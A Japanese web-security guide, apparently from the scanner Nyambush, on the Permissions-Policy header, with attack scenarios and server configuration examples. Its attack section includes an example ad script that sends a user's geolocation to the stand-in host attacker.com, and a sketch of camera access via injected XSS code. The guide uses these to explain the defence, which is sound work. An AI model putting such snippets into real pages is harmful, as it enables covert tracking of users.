Permissions-Policy: ブラウザ機能へのアクセスを制御する
これは何?
Permissions-Policy(旧Feature-Policy)は、Webページがどのブラウザ機能(カメラ、マイク、位置情報など)を使用できるかを制御するHTTPレスポンスヘッダです。このヘッダを設定することで、自サイトやiframe内で読み込まれる第三者コンテンツによる意図しない機能へのアクセスを防ぐことができます。
2020年にFeature-PolicyからPermissions-Policyへと名称と構文が変更されました。現在ではPermissions-Policyが標準仕様となっており、Chrome、Edge、Firefoxなどの主要ブラウザでサポートされています。
制御可能な機能は多岐にわたり、カメラ、マイク、位置情報、自動再生、フルスクリーン、支払いAPI、加速度センサーなど、30以上の機能が定義されています。
なぜ重要なのか
Permissions-Policyを設定しないと、以下のようなリスクが発生します:
サードパーティスクリプトによる盗聴: 広告ネットワークや分析スクリプトが、知らないうちにマイクやカメラへのアクセス許可を要求する可能性があります。ユーザーが誤って許可すると、盗聴や監視のリスクが生じます。
iframe内の悪意あるコンテンツ: サイトに埋め込んだ外部コンテンツ(広告、ソーシャルメディアウィジェット)が、位置情報やデバイス情報を取得しようとする可能性があります。
XSS攻撃の影響拡大: クロスサイトスクリプティング脆弱性が悪用された際、攻撃者が注入したコードから機密性の高いブラウザ機能にアクセスされるリスクを軽減できます。
ユーザーのプライバシー保護: 不要な機能を明示的に無効化することで、ユーザーに「このサイトは必要最小限の権限しか使わない」という安心感を提供できます。
攻撃の仕組み
Permissions-Policyが未設定の場合の攻撃シナリオ:
- 広告iframe経由での位置情報取得:
<!-- 攻撃者が制御する広告 -->
<iframe src="https://malicious-ad.com/ad.html"></iframe>
<!-- ad.html の内容 -->
<script>
navigator.geolocation.getCurrentPosition(position => {
// ユーザーの位置情報を外部サーバーに送信
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(position.coords)
});
});
</script>
ユーザーに位置情報の許可を求めるポップアップが表示され、許可すると攻撃者に情報が送信されます。
- XSS経由でのカメラアクセス: 脆弱性のあるサイトでXSS攻撃が成功した場合、攻撃者は以下のようなコードを注入できます:
navigator.mediaDevices.getUserMedia({ video: true })
.then(stream => {
// カメラ映像を攻撃者のサーバーへ送信
const video = document.createElement('video');
video.srcObject = stream;
// WebRTCまたはキャプチャで映像を送信
});
-
支払いAPI の悪用: 決済機能を持たないサイトで、攻撃者が注入したスクリプトがPayment Request APIを使用し、偽の決済画面を表示する可能性があります。
-
自動再生による広告の強制表示: 埋め込みコンテンツが音声付き動画を自動再生し、ユーザー体験を損なう、または不適切なコンテンツを表示します。
実際の被害事例
広告ネットワークの位置情報収集(2019年): 複数の広告配信プラットフォームで、iframe内の広告が積極的に位置情報を取得しようとしている行為が報告されました。Permissions-Policyで制限していないサイトでは、ユーザーに許可を求めるポップアップが頻繁に表示され、クレームが相次ぎました。
埋め込みコンテンツによるマイクアクセス(2020年): あるニュースサイトで、埋め込まれた第三者のウィジェットがマイクへのアクセス許可を要求し、プライバシー侵害の懸念が指摘されました。サイト運営者は埋め込みコンテンツの挙動を把握しておらず、Permissions-Policyで制限することで問題を解決しました。
モバイルブラウザの加速度センサー悪用(2018年): 加速度センサーとジャイロスコープのデータから、ユーザーの入力(パスワードのタイピングパターン等)を推測する攻撃手法が研究で示されました。Permissions-Policyで不要なセンサーへのアクセスを制限することが推奨されています。
自動再生広告の問題(継続中): 音声付き動画広告が自動再生され、ユーザー体験を著しく損なう問題が継続的に報告されています。Permissions-Policyのautoplayディレクティブで制御可能です。
Nyambushでの検出内容
Nyambushのセキュリティヘッダスキャンでは、以下の項目をチェックしています:
- Permissions-Policyヘッダの有無: ヘッダが設定されているか
- Feature-Policyの使用確認: 古いFeature-Policyヘッダが使われていないか(非推奨)
- 重要な機能の制限状況: カメラ、マイク、位置情報、支払いAPIなど、プライバシーに関わる機能が適切に制限されているか
- 構文の妥当性: Permissions-Policyの正しい構文が使われているか
- 推奨設定との比較: セキュリティベストプラクティスに沿った設定か
スキャン結果では、未設定の場合や、重要な機能が制限されていない場合に警告を表示し、推奨設定を提案します。
対策方法
基本構文
Permissions-Policy: <directive>=(<allowlist>)
Allowlistの値:
*: すべてのオリジンで許可self: 自オリジンのみ許可src: iframe の src 属性で指定されたオリジンのみ許可(iframe内でのみ有効)noneまたは(): すべてのオリジンで禁止("https://example.com"): 特定のオリジンのみ許可
推奨設定(セキュリティ重視)
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
この設定は、プライバシーに関わる機能をすべて無効化します。必要な機能がある場合は個別に許可します。
Apache (.htaccess または httpd.conf)
# 基本的な制限(カメラ、マイク、位置情報を禁止)
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
# 包括的な制限(推奨)
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), autoplay=()"
Nginx
# 基本的な制限
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# 包括的な制限(推奨)
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), autoplay=()" always;
Next.js (next.config.js)
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=(), payment=()',
},
],
},
];
},
};
Express.js
const helmet = require('helmet');
// Helmet v7以降ではPermissions-Policyがサポートされています
app.use(
helmet({
permissionsPolicy: {
features: {
camera: [],
microphone: [],
geolocation: [],
payment: [],
},
},
})
);
// または手動設定
app.use((req, res, next) => {
res.setHeader(
'Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()'
);
next();
});
特定の機能を許可する設定例
# カメラは自サイトのみ、マイクは禁止、位置情報は特定ドメインのみ
Header always set Permissions-Policy "camera=(self), microphone=(), geolocation=(self \"https://maps.example.com\")"
iframe内でのみ許可
<!-- iframe内でカメラとマイクを許可 -->
<iframe
src="https://video-chat.example.com"
allow="camera 'src'; microphone 'src'"
></iframe>
主要な機能ディレクティブ一覧
| ディレクティブ | 説明 | 推奨設定 |
|--------------|------|---------|
| camera | カメラアクセス | () (ビデオ通話サイト以外) |
| microphone | マイクアクセス | () (音声入力サイト以外) |
| geolocation | 位置情報 | () (地図サイト以外) |
| payment | Payment Request API | () (ECサイト以外) |
| usb | USB デバイスアクセス | () |
| magnetometer | 磁力計 | () |
| gyroscope | ジャイロスコープ | () |
| accelerometer | 加速度センサー | () |
| autoplay | メディアの自動再生 | (self) |
| fullscreen | フルスクリーン | (self) |
| picture-in-picture | ピクチャインピクチャ | (self) |
| display-capture | 画面共有 | () |
段階的な導入方法
- 現状の確認: Nyambushでスキャンし、現在の設定を確認
- Report-Onlyモードでテスト:
Permissions-Policy-Report-Onlyヘッダでテスト(実際には制限せず、違反をレポート) - 段階的に制限: 使用していない機能から順に制限
- 本番適用: 問題がないことを確認後、Permissions-Policyで本番適用
# テスト段階(Report-Onlyモード)
Header always set Permissions-Policy-Report-Only "camera=(), microphone=()"
# 本番適用
Header always set Permissions-Policy "camera=(), microphone=()"
まとめ
Permissions-Policyは、ブラウザの強力な機能へのアクセスを明示的に制御し、サードパーティコンテンツや攻撃者による悪用を防ぐ重要なセキュリティヘッダです。特に、広告やソーシャルメディアウィジェットを埋め込むサイトでは必須の対策となります。
推奨アクション:
- 使用しない機能は
()で明示的に禁止 - カメラ、マイク、位置情報は特に厳格に制限
- 必要な機能のみ
(self)または特定ドメインで許可 - iframe埋め込み時は
allow属性で個別に制御
導入のメリット:
- XSS攻撃の影響を軽減
- サードパーティスクリプトによるプライバシー侵害を防止
- ユーザーに安全性をアピール
- 不要な許可リクエストを排除し、UX向上
Nyambushのスキャンで現在の設定を確認し、サイトの用途に応じた適切なPermissions-Policyを設定しましょう。プライバシー保護とセキュリティ強化を同時に実現できます。